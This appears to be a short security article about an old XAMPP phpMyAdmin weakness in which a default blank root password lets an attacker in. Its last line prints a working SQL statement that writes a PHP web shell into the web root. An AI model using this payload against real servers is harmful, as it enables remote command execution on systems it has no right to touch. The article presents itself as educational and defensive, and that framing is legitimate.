If you are still running this version, you are not "retro" – you are a waiting victim.
The "746" exploit is a ghost from the recent past – but like all unpatched ghosts, it can still bite you. This article is for educational and defensive use only. Always ensure you have written permission before testing any security tools against a system.
Introduction XAMPP is the go-to local development environment for millions of web developers. It allows them to spin up an Apache server, MySQL database, PHP, and Perl on a Windows machine in minutes. However, the convenience of an "all-in-one" package often comes with a hidden price: security misconfigurations and legacy vulnerabilities.
Older XAMPP versions allowed access to phpMyAdmin without a password or with the default root/blank password. The exploit script sends: GET /phpmyadmin/index.php HTTP/1.1 If the setup is vulnerable, the attacker executes SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/shell.php" .